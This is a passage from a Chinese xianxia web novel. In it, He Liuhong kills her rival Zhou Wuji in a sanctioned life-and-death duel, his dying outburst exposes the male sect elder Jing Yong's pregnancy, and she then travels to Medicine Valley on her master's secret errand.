“行,修炼去吧,好好为龙吟秘境做准备,为师不打扰你了。” 掌门自顾自说完,就背着手走了。看着心情还挺不错的。 贺流虹钻回屋子,开始潜心修炼。自从乾坤珠消失之后,她的修炼速度越发迅速,在宗门大比之前,她决定冲击金丹三层。 她要杀周无疾,当然要让自己拥有更多的把握,周无疾刚刚突破金丹,并且听说使用大量药物辅助,之前交手时也能感觉到他的修为并不怎么扎实。 一个月后,宗门大比在万众瞩目中拉开序幕。 几乎整个天玄宗都在关注,长老和峰主们有些只在现场放了一缕分神,有些高调地驾着坐骑,在高空中占据最佳视角,至于要能力没能力要背景没背景的普通小弟子,都聚集在比试擂台的下方,黑压压一片,人头攒动。 元婴期以下皆可报名,但是只有前十名能获得进入龙吟秘境的资格,所以人人心中都清楚这是一场金丹修士们之间的争斗,细数起来,名单只在那些本就声名鹊起的年轻一辈弟子们中间诞生。 贺流虹是其中的特例,她不像天玄宗大师姐或周无疾这样自拜入师门就有天才之名,而是在最近半年突然被众人所知,更是破格从外门弟子变成掌门亲传。 更使她受到关注的原因在于,她和琼华真人的徒弟周无疾前不久才结下梁子。 那次周无疾当众指控她的好友,让她在人前难堪,而她也斩断了周无疾的剑,杀意腾腾,双方火药味十足,只可惜被掌门打岔。 这次借着宗门大比终于能够光明正大地比试一场,应当有好戏看了。 贺流虹透过人群望向那个高昂着下巴的男修,执法堂只将他关押了一段时间就放了出来,依旧被一群寻求依附的普通小弟子簇拥着。 周无疾神情桀骜,眉眼间笼罩着阴云,和她目光相接时,脸上浮现出毫不掩饰的恨意。 贺流虹扭头望向高台之上端坐的诸位长老,以及掌门和小师叔。 一个月没见,小师叔容光焕发,神色淡漠,远远看去,圣洁如天上月。 她下意识看了眼对方的小腹,那里一片平坦,窄瘦腰身被玉带钩收拢,勾勒出恰到好处的线条。 她再一回头,看到周无疾也在和她盯着同一个方向。 周无疾走过来,附在她耳边道:“你等着瞧吧。我会让所有人看清楚,谁才是天玄宗的希望。” 贺流虹说:“哦,那我等着。” 景雍朝这边看过来,忧心忡忡。 掌门亲自主持这场比试,抬手示意开始。 擂台升至半空,扩大数倍,分割成很多块同等大小的场地,可以让所有人进行第一轮比试。 由上空的玄天镜放大过后,每一块擂台上的场景都能被所有人看得一清二楚。 前两轮是淘汰制,为了不让天才弟子们早早地互相淘汰,前两轮将他们彼此错开,贺流虹没机会遇到周无疾。 第一轮很快结束,淘汰了一半,贺流虹没什么悬念地进入第二轮。 擂台合并了一半,此时只剩几十人。 第二轮又结束,只剩十几人。 这便是天玄宗年轻一辈弟子当中的翘楚了,灵气越发稀薄,早已不是数千年前那副金丹遍地的盛世光景。 掌门侧过身听景雍说了点什么,忽然眉头皱紧,压低声音问:“你觉得她当真打算那么做?” 景雍轻轻摇头:“我不确定。”又说:“我到这里来便是担心她会乱来。” 掌门思忖片刻,沉声说道:“也罢,她昨日已突破金丹三层,如果她连一个周无疾都赢不了,那便是我和诸位太上长老们错看她了,将来如何肩负天玄宗重任。” 景雍欲言又止。 掌门起身,宣布接下来的比试规则。 从第三轮开始,便只剩下各个峰上的天纵之才,各位长老悉心教导的亲传弟子,比试的形式由淘汰赛改成循环制,每人都能比其余人一一比试,按照胜负次数排出名次。 贺流虹有心心念念的事要做,所以一开始就出手果决,将结束比试的时间压缩到最短。 一个一个的比试者从她面前离开擂台,千等万等,对面的人终于换成周无疾。 周无疾上来时特意与她擦身而过,准备像之前一样与她耳语几句,放几句狠话。 她像是没发现对方靠近,往前走动几步,将他撇下,朝着观看台上的掌门等人行了一礼,高声说道:“我要签生死契。” 她并未回头,只用剑柄指了指身后的对手,再次重复:“我要和这位周师兄来场生死擂台。” 观看台上,景雍用力抓紧座椅扶手,将出声阻止的话强行咽回肚子里。 贺流虹朝他看了一眼,又挪开视线,看向掌门:“请师父准许。” 黑压压一片人群安静一瞬,紧接着如沸腾的水一样嗡嗡乱响,议论纷纷。 “她说什么,她到底知不知道生死契是什么东西!她不想活了吗?” “比试而已,她想杀人?” “生死契只要彼此同意便能生效,生死自负,不受天道谴责,不过一般不是解不开的仇怨,没人敢拿命开玩笑的。” “周无疾当众诬陷她好友,险些将其虐杀,却只在执法堂待了几天就出来了,她应当是实在恨极,才想通过这种方式报仇。” “周无疾敢同意吗,那可是生死契。我听说他的修为是嗑药嗑出来的,而且比如今的贺师姐低了两个小境界。他应该不敢吧。” “胡说什么,周师兄是琼华真人的徒弟,岂会露怯!” “她修炼得这么快,难道她如今的境界就没半点弄虚作假的成分嘛!” 现场闹哄哄一片,掌门抬手示意众人安静。 无数道好奇的目光中,掌门缓缓开口:“这是你二人之间的事,本座不会干预你们的因果。” 他略顿一顿,提醒道:“贺流虹,你要想好了,生死契只有双方其中一人死去才会失效,否则会遭到反噬。” 贺流虹转过身,紧盯周无疾的脸,“不知道周师兄答不答应?” 周无疾脸上闪过种种情绪,像是犹疑,又像是兴奋,身体因激动而微微颤抖,笑道:“你以为我不敢吗?” 两人在掌门和长老们的见证下,立下生死契,契约当场生效,注入双方眉心。 周无疾不待众人反应便迅速起手,直冲贺流虹命门。 他的杀意不受任何掩饰地显露出来,嗜血的神情与邪修无异。 景雍急忙站起来,想要出手干预,被掌门按住。 这一幕恰好被周无疾看进眼里,咬牙道:“贺流虹,是你自己自寻死路,这次没人能帮你。” 贺流虹一直在躲避他的攻击,看起来像是被他的气势完全压制,闻言不禁轻笑一声:“你一 定很恨吧,本来以为自己才是天之骄子,是所有人的中心,结果根本没人将你放在眼里,更别说是盖过你那真正的天才师尊了。” 这话像是戳中周无疾痛点,他周身气势更盛,剑气更加高涨,刺向贺流虹的喉咙。 贺流虹又一次躲开,继续道:“可是你该恨谁呢?恨我吗,恨你师父吗?你最该恨的难道不是与废物无异的自己吗?” 周无疾眼中闪过深红色的光芒,剑身附着的灵气逐渐被黑沉沉的邪气替代,擂台上黑雾弥漫,温度骤降,如同置身冰窟。 看台上的众人大惊,长老们不悦地皱起眉头。 贺流虹满意地看到自己想要的结果,“原来真正的邪修是周师兄自己,真替琼华真人感到寒心。” “我这便杀了你!” 扬起的黑雾化为冰冷坚硬的针尖,铺天盖地朝贺流虹飞射过去。 贺流虹掐诀默念,精纯灵力化作盾牌将它们挡住,针尖触及盾牌重新化为雾气。 周无疾正要继续,就见对方在黑雾中忽然消失。 惊慌之下他像疯了一样像四面八方挥动剑身,黑雾化作无数细如麦芒的针,被剑气裹挟着,往擂台下面射过去。 长老们急忙出手将下面来不及逃散的弟子救走。 千挑万选出来的琼华真人唯一亲传品行卑劣也就算了,竟堕为邪修,掌门低声咒骂:“周家出了个败类,连累我天玄宗成为修真界的笑柄。” 景雍满心满眼只有贺流虹,始终看不见贺流虹的身影令他焦灼不已,连剑气沿着他的脸颊擦过都没能察觉。 周无疾越发疯狂:“贺流虹你出来!你怕了吧!现在知道,谁才是真正的废物了吗?是你,是景雍,是你们所有人!我要杀光你们这些看不起我的蠢货!” 掌门勃然大怒:“周无疾,你这邪祟妖物,还不快快认罪伏诛!” 周无疾大笑起来,他看不见贺流虹,便去看上方呆呆站立在掌门身边的景雍,眼中闪烁着异常明亮的光芒,大声喊道:“邪祟妖物?我今天便让你们看看谁才是真正的邪祟妖物,是他!” 他抬起手,指向掌门身旁,与此同时袖中飞出一道微弱到几乎看不见的灵光,撞上景雍的衣摆。 那是一道现形符,众目睽睽之下,修真界第一美人的外袍散开,腹部隆起明显的弧度。 景雍浑身颤抖,将外袍拢紧,挡在身前,脸上血色全无。 周无疾大笑:“妖物!这才是真正的妖物!一个男人竟像妇人般怀上胎儿,堂堂琼华真人,人人敬仰的修真界第一人,竟被不知什么妖怪作践,怀上了孽种!哈哈哈哈哈!” 他挥动手上的剑,尖叫道:“贺流虹!你还要躲到什么时候,快出来看看吧,一心袒护你的琼华真人其实是个怀了孽种的——” 他的话音戛然而止,一柄长剑从他的喉咙口刺穿,剑尖沾满红色白色肉色的秽物,出现在后脑勺。 他突兀地瞪大双眼,望着突然消失、又突然出现的贺流虹,嘴唇缓慢一张一合,想要说点什么,但是最终没有发出任何声音,眼中的生机全然消失。 贺流虹默默将剑拔了出来。 留有余温的尸身倒下去,鲜血像喷泉一样高高地洒向地面,将擂台染红。 她的衣服不小心被弄脏一块,正往一旁躲,就听见不远处有人喊道:“小师叔晕倒了!” 她抬头望去,昔日的修真界第一美人腹部隆起诡异的弧度,证明她先前在神月峰无意间瞥见的不是错觉。 比起那次的匆匆一瞥,此时的美人腹部隆起的弧度更加明显,似乎随着月份增加腹中胎儿也在茁壮成长。 小师叔真的怀上崽了。 她匆匆赶过去,就见掌门神态诡异地看着她,又看了看晕倒在扶椅间的景雍,有些烦躁地摆了摆手:“你还愣着做什么,还不快抱你小师叔回去!” 贺流虹来不及细想这里有这么多人为何偏要让她来,脑子里只有一个念头:小师叔怎么会怀上崽?谁能让小师叔怀崽? 和她一样震惊的人还有无数个,与琼华真人有孕相比,连周无疾的死都显得不值一提了,耳边众说纷坛。 “周无疾是知道今日死路一条,所以发了疯胡乱攀咬吧!” “小师叔是生病了吧,男人怎么会怀有身孕啊?好变态。” “可是妖族有雄性产子的先例,难不成真的有妖物污了小师叔的清白,还让他肚子里多了自己的后代?” “有点恶心我觉得,人族和妖族的后代,还是由男人孕育,那确实是孽种。” “别乱说,若是真的怀上妖族孽种,气息是会改变的,你比掌门和太上长老们还厉害,一眼就能瞧出他们发现不了的真相?” 贺流虹觉得这些人分析得也不无道理,一边脱下带血的外衣将晕过去的小师叔盖住,挡住那些探究的目光,一边手忙脚乱地把人抱起来。 她的动作从未有过的笨拙,既怕把人摔了,又怕下手太重弄伤美人肚子里的宝宝,在一群医修的帮助下,匆匆离开现场。 第54章 第54章又好看又会生 比试很快继续,只是出了这样的意外,气氛变得更加紧张,大家都有些提心吊胆,唯恐自己的对手也忽然变成残暴滥杀的邪修。他们可不像贺流虹,把人家刺激得狂性大发,最后还能毫发无损地把人杀了。 和周无疾的比试刚好是贺流虹的最后一场,她又赢了,掌门让她留在神月峰陪伴景雍,不必再前去比试现场。 神月峰再次笼罩在一种微妙而诡异的氛围中,医修们进进出出,焦头烂额地替琼华真人诊治。 贺流虹坐在旁边,神色凝重地望着来来往往的每个人。 对于周无疾死前宣之于众的惊天秘密,她感到心有余悸,这人幸好是被她杀了,否则凭借他的身份地位和周家的资源,搞不好下一个被曝光隐秘的人就是她贺流虹了。 她扭头看向仍然昏睡不醒的小师叔,美人好似被梦魇缠住,眉头紧皱,额头不断溢出汗水。 她帮他擦了擦脸,眼见着他又渐渐恢复平静,于是重新坐回一旁的椅子上发呆。 医修不时过来询问她是否能用收藏室的某一味药,是否能用某一种法宝,她莫名其妙就成了神月峰唯一能做主的人。 除了她,掌门等人好像早就知道小师叔的事,对此并不意外。 她的眼神又落在床上,那具身体隔着被褥仍能隐约瞧出腹部隆起的弧度,一想到里面有个孩子,她就忍不住又惊又奇。 “这位师姐,”她拉住一个路过的医修,悄悄打听,“小师叔腹中胎儿大概是什么时候怀上的?” 那医修不紧不慢说道:“哦,已经快四个月了。”又两眼放光道:“竟是十分的健康!” 那神态像极了在说“真是一个医学奇迹”。 贺流虹嘀咕着:“四个月,原来只有四个月啊。” “贺师妹,听说你与小师叔神魂契合,还和小师叔神交过,”那医修压低了声音,一脸好奇,“这孩子该不会是你的吧?” 贺流虹摸着下巴,摇了摇头,含糊不清地否认道:“不可能不可能,我哪有那本事。” 她坐在小师叔床边认真思考很久,本来也有些怀疑是不是自己不小心搞大了修真界第一美人的肚子,但一听说孩子才四个月,顿时松了一口气,不用为搞出人命负责了。 时间根本对不上,她都七个多月没碰过小师叔了,怎么可能凭空让人怀上。 所以问题出在小师叔偷溜出去的那段时间。 难怪掌门要替小师叔遮掩,非要说她流连在外的那半年小师叔从来没离开过神月峰。想来就是那段时间小师叔在外面邂逅了露水姻缘。 她啧啧称奇,修真界果然危机重重。 入夜时分,掌门和几位师伯师叔来看望这位命运多舛的小师弟。 和他们一起进来的还有一位医修,医修是被绑起来的,一副心灰意冷的神情。 掌门冷眼看他,问:“就是你向周无疾那畜生透露了琼华的事?” 那人抖如筛糠,急忙替自己辩解道:“周无疾是琼华真人徒弟,被琼华真人召来神月峰好几次,我们这些医修在神月峰做什么他不可能什么都不知道,是他先察觉到不对劲,才来找我确认的,我不是主动背叛的。” 掌门摇了摇头,轻哼一声:“你真是辜负了本座对你的信任,来人,将他带去执法堂,按门规处置。” 医修被带走的时候,他的目光落在贺流虹身上。 贺流虹默默挺直腰背,不明白他忽然看自己干什么,恭敬地询问道:“ 掌门有何吩咐?” 掌门仔细打量她一会儿,看不出她和往常比起来有什么不同,仿佛并没有被琼华的秘密影响到。 难道她就一点也不希望琼华肚子里的孩子是她的吗?就算不高兴,哪怕是愤怒狐疑,怀疑琼华勾搭上别人,也比这样无动于衷要好。 “罢了,没什么。” 他摆了摆手。 贺流虹知道,“没什么”的意思就是“有事”,而且还不是小事。 她想到擂台上的事情,不禁有些心虚。 她在对付周无疾时忽然消失了一阵,不是故意藏匿,而是真的离开了擂台,离开了天玄宗。 她万没想到天玄宗也有一处通往水月镜的连接点。 水月镜在风月宗宗主——也就是那个见不得光的黑袍男的眼皮子底下,她本打算如无必要不再进入,所以当时一进去就准备立刻返回,但却发现了一件不妙的事情,那些通往外界的连接点消失了很多,水月镜正在一点一点被修补完整。 她猜想自己之所以能在里面来去自如,不被黑袍男瓮中捉鳖,那就是因为黑袍□□本进不去里面。 镜子一旦被修补好,那她就不能再像之前那样把它当中转站了,否则真的会被困在里面。 掌门问她:“你为何在擂台上忽然消失,不似寻常藏匿法术,我没有探知到你的任何气息。” 贺流虹一脸诚恳地解释道:“我在外历练的那半年曾得到一张上古大修遗留的符箓,有些像藏匿符,但又不全然一样,周无疾咄咄逼人,我情急之下拿出来试了试。” 掌门和几位师伯师叔若有所思地点了点头,算是接受了她的理由。 她不知道的是,这些人早已一心认定她是大气运加身的天道宠儿,一次次化险为夷、境界不跌反升便是最好的证据。就算她不说,这些人也已经这么认为。 掌门赞许道:“你这次做得很好,及时铲除邪修,以绝后患,众目睽睽之下,就算周家不认也不行。” 贺流虹谦虚道:“这都是弟子应该做的。” “就是可怜了你小师叔,”掌门流露出悲伤的神情,“他坚持要留下腹中胎儿,怀胎本就不易,却因此清誉尽毁,沦为修真界的笑柄。” 他说着,意味深长地看了贺流虹一眼,问:“你看,是不是应当多怜爱你小师叔几分?” 贺流虹被他凑过来询问的样子弄得有些头皮发麻,不得不说,掌门最近一和她提起小师叔,整个人就奇怪得像个变态。 她老实巴交地点头:“应当,自然应当,我会好好照顾小师叔的,那些笑话小师叔的人都没见过世面,小师叔又好看又会修炼,还会生孩子,这下更讨女修喜欢了,那些男修恐怕更是忌恨得要发疯了。” 掌门及在场几位性别为难的师伯叔神色古怪。 她迅速补充了一句:“当然,师父和几位师伯师叔肯定是不会这样的。” 有位师伯笑道:“你有这满嘴花言巧语的劲头,不如多去陪陪你小师叔。” 贺流虹还没来得及说正事,不肯走,“弟子不懂医术,去了也是添乱,不如在此聆听师伯师叔教诲。” “正好,有一事想请你去办,”掌门道,“也只能你去办,既然琼华的事已经瞒不住,就不必瞒了,我想再请医仙谷谷主来一趟,替他诊治,可老谷主推脱身体抱恙不肯前来,你和她的徒儿交情不错,不如你去试试。” 贺流虹正想找个借口离开天玄宗一趟,这就有了现成的理由,毫不犹豫地应道:“弟子这就去医仙谷。” 掌门急忙喊住她:“你急什么,明日再去也不迟。” 他朝屋里看一眼,道:“先等你小师叔醒来,你们见上一面,然后你再走。” 贺流虹不解:“为何?” 景离有点头疼地揉了揉太阳穴,“你师叔深受打击,颜面尽失,于情于理,你难道不应当等他醒过来之后对他稍作安慰?” 贺流虹幡然醒悟:“应当,自然应当。” 第55章 第55章不肯负责 人都走了,贺流虹又被单独留在神月峰,守着昏睡中的小师叔。 左右无事,她就去小师叔的书桌上拿了本书翻起来。 大概是因为她上回拜托对方研究那本“妖法”是怎么回事,桌上放着很多相关的古籍残卷,她看了没一会儿就两眼昏花,昏昏欲睡。 这时候床上的人终于有了转醒的迹象,她放下手上东西,有些忐忑的走到床边,果然看到小师叔缓缓睁开眼睛。 对视的瞬间,景雍的脸就发起烧,像着了火一般,窘迫地问:“你怎么在这里?” 美人似乎不希望醒来第一眼看到的人是她,贺流虹只好实事求是地解释道:“是掌门让我留在这里等你醒。” 景雍想要从床上坐起来,无奈身体憔悴无力,又身形臃肿,惊慌失措之下,一个简单的起身竟显得越发艰难。 贺流虹主动靠近床边,把人搀扶住,动作小心翼翼,嘴里劝道:“小师叔,医修师姐说你肚子里的宝宝都快四个月了,你千万仔细身体。” 她不说还好,这一说,景雍只想找个缝隙钻进去,躲起来。 贺流虹明显感觉到手上搀扶着的这具身体在挣扎,似乎很抵抗她的触碰。 她活了两辈子也是第一次距离怀有身孕的人这么近,完全没有任何和这种人相处的经验,于是手忙脚乱起来,既怕松手会让对方伤到自己和肚子里的宝宝,又怕一直抓着他不放会让他不高兴。 景雍将被褥拉到肩头,又将她的手默默推开,紧接着将自己整个身体包裹进被褥当中,侧过脸去低声说道:“我能照看好自己,你也去做自己的事吧。” 他的声音虚弱,面容憔悴,显出几分惹人怜爱的味道。 唯一显得违和的地方只有那隆起的小腹,即便被褥盖在身上,仍旧隐约能看出痕迹。 这具身体原本是完美无瑕的,每一片肌肤每一个举动都美妙得恰到好处,现在因为孕育着一个新生命发生了很大的变化,有种说不上来的怪异感。 贺流虹分辨不清这种怪异感是因为变化本身造成的,还是因为这些变化出现在一个男人身上。 她的神色复杂,眼神微妙。 景雍察觉到她的视线,知道她在打量自己,打量自己的腹部。 周无疾死前当众嘲讽他的那些话又回荡在耳边,他又听见了天玄宗一群从前只能仰望他的小弟子们对他指指点点。 他是一个怪胎。 他是一个妖物。 他早该认清这一点,而不是等到被当众揭穿,颜面尽失。 贺流虹看着他郁郁寡欢的侧脸,心生怜惜,怀胎十月是一件非常不容易的事情,在修真界,孕育一个新生命不仅需要付出血肉代价,还需要以自身灵力滋养,对修为消耗极大,所以很少有修士愿意放弃修炼的时间去生什么孩子。 她不懂怎么安慰一个正在承受这种痛苦的人,尽量用上平生最温和的语气,道:“小师叔,你太不容易了,我就在外间守着,你好好休息,要是有什么不舒服的地方就告诉我,我马上过来。” 她说着就要转身离开,景雍微微有些诧异,连忙追问:“你不觉得我是个怪物吗?” 听到声音,贺流虹重新回过头来望着他,面露不解:“怪物?” 景雍后悔自己如此坦诚地暴露内心惊惶,硬 着头皮问:“历来只有女子怀胎,我却……这还不叫怪物,叫什么。” “历来也只有鸟才会翱翔天际,鱼才会在水底来去自如,乌龟和树木才会或几百上千岁,但是人族还是向往像它们一样上天入地,长生不死。” 她郑重其事地说道:“小师叔,听我的,你不是怪物,你只是遇上了奇迹,伟大的奇迹降临在你身上了。” 她瞥了眼美人脸上怔愣的神情,觉得自己应该差不多把人忽悠住了,连忙溜了出去。 她承认自己有夸张的成分,但是安慰人嘛,总不能顺着对方的话说“啊对对对你确实是怪物”,那样她应该会被当场踢出去吧。 第二天她要按照计划出发去医仙谷,临走前掌门问她昨晚效果如何,她拍着胸脯保证绝对把小师叔安慰得很到位。 掌门本来还不是很相信,一眨眼,景雍居然到了门口。 能主动出门,说明贺流虹确实没吹牛,昨晚确实把人哄好了。 掌门极其欣慰,拍了拍贺流虹肩膀:“这次去医仙谷,不必太有压力,如果实在请不动老谷主出山,那就算了,立即赶回来,龙吟秘境即将开启,万万不可在外耽搁。” 贺流虹答道:“弟子谨遵师命。” 掌门看了看她,又看了看一旁安静站着的师弟,清了清嗓子做随意状说道:“你这一趟是为你小师叔跑的,就没有什么话要对他说的?” 贺流虹打量了一下小师叔神情,觉得他确实是已经调整好心态了,虽然还是不太愿意用真实模样露面,用了幻形符,但脸上已不见昨天那副几近崩溃的样子。 于是她按捺不住好奇地凑过去问:“小师叔,你告诉我,到底是谁干的好事,我看看能不能帮你把那家伙逮回来。” 景雍眉心一跳,深深看了她一眼,抿紧柔软漂亮的嘴唇,欲言又止。 掌门又开始清嗓子:“咳咳咳咳,其实……” “掌门师兄,”景雍担心他说漏嘴,急忙打断他的话,“师兄,还是先别说这事了。” 他看向贺流虹,掌心往上一翻,金月便出现在那里,对着贺流虹眨巴眨巴圆溜溜的小眼睛。 “我是过来将金月送给你,它能日行千里,要是路上遇到麻烦,也能帮上些忙。” 他的表情太严肃正经,贺流虹只觉得事情不简单。 坚决不提肚子里的孩子是怎么来的,也不让掌门提,看来是一段见不得人的感情。 她看向小师叔的目光变得幽深,叹道:“小师叔,金月我就不收了,我只是去趟医仙谷,出不了什么意外的。” 金月感觉自己遭到嫌弃,飞起来用小翅膀扇她。 她一把抓住,在那鲜艳夺目的羽毛上摸了两把,道:“你就留在家里好好照顾我小师叔吧。” 金月从她手上挣脱,飞了出去。 掌门还指望这只鸟能成为维系她和景雍关系的桥梁,没想到鸟随主人,是个没眼色的。 他的余光瞥见景雍冷冷淡淡的神态,在心里叹气,师弟突然变得这么执拗,不顾修为倒退也想把孩子生下来,这也就算了,还阻止他告诉贺流虹真相。 真不让他省心。 他原本还指望能依靠孩子增加贺流虹与天玄宗和羁绊,确保将来不会被其他宗门摘果子。 可是如今怀胎之事都人尽皆知了,在他看来已经没必要隐瞒了,正是将事情说开、拉近关系的时候,师弟还是瞻前顾后。 难道要一辈子将这件事当成秘密?那岂不是将眼前这个大好时机都浪费了。 再拖下去,谁能说得准会不会有人抢先一步俘获贺流虹的心,到时候别说一个孩子,十个恐怕也晚了。 贺流虹见两人忽然都不说话,场面有些诡异,挪到掌门身边,压低声音问:“师父,真的不用把那个和小师叔结下情缘却不肯负责的家伙逮回来吗?” 掌门支支吾吾:“这个……” 景雍胸口起伏,隐隐有些羞恼,又有点难过,在她眼里他果然就是那种随随便便和别人乱来的人。 他蹙起眉头:“什么情缘,别再胡言乱语了。” 说完就拂袖而去。 贺流虹有点不好意思地冲掌门笑了一下:“你看,我就说我不适合安慰别人。” 第56章 第56章更有韵味了 贺流虹刚把她小师叔气走,掌门就收敛了神色,神情严肃地说道:“这次让你去医仙谷,明面上是去请谷主来替你师叔诊脉,其实还有一事要你去办。” 贺流虹扫了一眼他那副遮遮掩掩的样子,感觉事情并不简单,学着对方的样子正了正脸色,一本正经地说道:“但凭掌门师尊吩咐。” 掌门讳莫如深地缓缓开口:“为师想让你去医仙谷寻找一本秘籍,如果传闻没错,它应该还在老谷主的私藏之中,你暗中将它带回。” 贺流虹:“啊?你想让我偷东西?” 掌门哽了一下,急忙说道:“是借!” 贺流虹从善如流地改口:“好的,我会悄悄把这本秘籍‘借’到手的。” 掌门压低声音:“此事涉及妖族,万万不可张扬。” 贺流虹一听这东西跟妖族有关,不由认真了几分,“到底是什么样的秘籍?” “相传出自一位妖修之手,其中记载着乾坤珠的下落。” 贺流虹装作不知:“乾坤珠是什么?” “一个能勾连天地倒转乾坤的上古法宝,如果能够成功将它炼化,便能以肉身与天地法则相抗衡。”掌门露出向往的神情,“一旦完全掌控住它的力量,你便是无所不能。心念一动,天道都能为你让步。” 贺流虹赞叹道:“那我岂不是无敌了。” 掌门打消她的幻想:“然而自这件法宝问世以来,从未有人能够做到,甚至遭到反噬灰飞烟灭。” 贺流虹默默为曾经的自己捏了把汗,这么看来她只是吐了几个月的血已经很不错了。 她借机问道:“难道现在咱们天玄宗终于找到了掌控它力量的窍门?” “没有,”掌门摇头,又郑重说道,“但眼下不得不做此尝试,你师叔的情况你也知道,即便他生下那个孩子修为不倒退,但也损伤了根骨,而你又过于年轻,需要足够的时间才能成长,若百年之内门中无人成功飞升,天玄宗灵脉必将断绝,我必须做好其他打算,即便是冒着灰飞烟灭的风险。” 贺流虹从前在外门察觉不出什么,现在却也感受到天玄宗的灵气日渐稀薄。 各大宗门能够盘踞修真界,从根本上来说,得天独厚的优势就是他们所占据的一条或数条灵脉,灵脉隐藏在地底,向整个宗门提供充裕纯净的灵气,供门中弟子更快速地修炼。 然而这样珍贵的资源并不是取之不尽用之不竭,终有结束的一天。 贺流虹有点好奇,那颗绿油油的珠子真的连衰竭的灵脉都能挽救? 她心里想着自己的事,拜别掌门转身就走。 下山时,她遇到了重伤痊愈的宋清宁,两人都要离开天玄宗,刚好顺路。 宋清宁被周无疾指控勾结妖族,周无疾虽然死了,但她也不好再继续留在天玄宗,毕竟她也确实不算被冤枉,以如今各大宗门与妖族水火不容的关系,她能活着已经很不容易。 她惴惴不安地问贺流虹自己修习的那部功法是否真的有问题,贺流虹实话告诉她自己也不清楚怎么回事,就连小师叔都没研究明白那功法是怎么回事。 修习妖法一事没被下定论,宋清宁稍微安心。 再加上掌门想要笼络贺流虹,没将宋清宁从门中除名,只是让她出门历练,外门遴选的结果依旧算数,每月的灵石丹药等资源都按照规格发放。 她劫后余生心情还算不错,又一次和贺流虹道了谢,两人半路分手,朝着各自的方向走远。 贺流虹说着要去医仙谷,但是刚和宋清宁分开,就调转方向,去了彤云留给她的秘 境。 她那位几百岁的妹妹还一个人住在那里呢。 她得过去瞧瞧。 贺小霓不谙世事,但是胜在听话,没有试图偷跑出去。 贺流虹去见她的时候发现她长高了一些,身上的衣服破破烂烂,头发蓬乱得像鸡窝,面黄肌瘦,正在啃一颗还没熟透的野果子,像极了一个原始人。 见到贺流虹,她扔了野果子一个箭步冲过来撞进她怀里,兴奋得像是要长出一条尾巴摇来摇去。 贺流虹打量着她这副惨状,惊奇之余,愧疚之情油然而生,“你怎么把自己弄成这样?” 在水月镜里待了几百年都安然无恙,出来之后才几个月就变成了野人。 离开了水月镜,贺小霓似乎恢复了正常生活,需要进食,需要清洁,身体也在以正常速度生长。 贺流虹给她施了个清尘术,然后把她的头发剪了一些,方便以后梳洗打理,最后又从芥子袋里拿了正常人类的熟食给她吃。 小孩狼吞虎咽,贺流虹若有所思。 很显然水月镜中几百年的时光没有让贺小霓获得任何生活经验,她现在就像一个初生的婴儿,一切都需要从头学习。 贺流虹问:“我把你从水月镜中带出来,又把你关在这个地方,你埋怨我吗?” 贺小霓嘴里都是食物,腮边鼓鼓囊囊,抬头望她:“埋怨是什么意思?” 贺流虹感觉到了交流障碍,抹了一把脸,道:“我送你去医仙谷吧,那里有很多你的同龄人,更适合你慢慢学习。” “同龄人?他们也都几百岁了吗?” “……我是说心理上的。” 去医仙谷的路上,贺流虹嘱咐她不要说出她们之间的关系,也不要提到镜子里的生活,要假装自己是个失去记忆的无家可归的孤儿。 贺小霓没有打破砂锅问到底的习惯,姐姐说什么,她就信什么,姐姐让她怎么做,她就一一照做。 贺流虹用了张瞬移符直接就到了医仙谷。 经过上次风月宗擅闯,医仙谷多了一层防护阵,刚一触碰到,就惊动谷中的弟子。 贺流虹报上名号,不一会儿,宁逢出来见她,对她如今的变化惊叹不已。 “这才多久没见,你就修成金丹了,还有,听说你现在是天玄宗掌门亲传,风光无限啊。”宁逢熟络地揽着她的肩膀,“第一眼看见你我就知道,你绝非常人!” 贺流虹想到自己来这里的真实目的,笑得有点不好意思:“都怪我,给你们医仙谷添了不少麻烦。” 宁逢坦率地说道:“这有什么,天玄宗大方得很,所有损失都十倍补偿了,算起来我和师父还赚了呢。” 她说完看向贺流虹手边牵着的小女孩,疑惑道:“哪里弄来的小孩?” 贺流虹解释道:“路上捡的,没地方去,想着拜托你收留一阵。” 宁逢指着草地上玩乐的一群稚童,道:“多她一个不多,闹腾着呢。” 修真界打打杀杀的事情不少见,妖族又和仙门斗来斗去,孤儿是越发多了, 贺流虹一眼扫去,比起上次来这里,又多了一些无家可归的小孩。 她一边和宁逢叙旧,一边随意张望,一不小心就瞧见有个五六岁的小孩露出了毛茸茸的耳朵,怔了一下。 宁逢也瞧见了,吓得连忙捂住她眼睛,念叨着:“你没看见你没看见你什么都没看见。” 贺流虹就知道医仙谷是个好地方,怕就怕整个修真界全是那种赶尽杀绝之人,她可不想因为血脉上暴露出什么问题,或是和妖族有什么牵扯不清的关系,遭到全世界的围剿追杀。 她感慨道:“不愧是医仙谷,医者仁心,一视同仁,我很佩服。” 宁逢愣了愣,松了口气,露出一个由衷的笑容,“刚才我差点就想将你灭口了。” 她让人将那个藏不住原身的妖族小孩带走,压低声音说道:“这都是师父的意思,但是我也觉得这么做没问题,妖族和仙门杀来杀去,遭殃的都是这些毫无反抗之力的孩子。可惜医仙谷只是一群医修,没有毁天灭地的修为,决定不了那些大宗门的做法。” 贺流虹取出一袋灵石递过去,道:“我也帮不上什么忙,这些灵石就当是给小霓的生活费吧。” 她望了一眼跟在自己身边的小女孩。 宁逢没跟她客气,收下灵石,观察了贺小霓一会儿,“她叫小霓是吧,看起来脸色有些不太好,我先帮她把个脉,检查一下身体。” 贺流虹跟在宁逢后面一起进了屋子,守在贺小霓身边。 宁逢神态放松,给贺小霓把完脉,道:“不是什么大问题,就是饿太久了有点虚,我们收留回来的孩子大部分都这样。” 她见到贺流虹心不在焉,又问:“你这次来医仙谷,不止是为了给我们送孩子吧?” 贺流虹点头,组织着措辞:“掌门让我来请谷主去一趟天玄宗,我小师叔他……他的身体又出了些问题。” 天玄宗好歹是修真界第一宗门,光是大乘期的太上长老就有好几位,历来受人关注,自从周无疾在宗门大比当众揭穿自己师尊的隐秘,消息早就传遍各界,与琼华真人以男子之身受孕相比,周无疾的死亡显得微不足道。 宁逢自然也听说了这件事,眼睛里闪烁着激动的光,跃跃欲试道:“其实……我是很想去亲自瞧瞧琼华真人是个什么情况的,这实在太稀奇了,我学了这么久的医都没听说过这种案例。只不过师父她老人家最近身体抱恙,一直在闭关,恐怕你要白跑一趟了。” 贺流虹做遗憾状,“那也没办法,还是谷主的身体最重要,我小师叔虽然怀上了不知道谁的骨肉,但是目前看起来并没有什么威胁。” 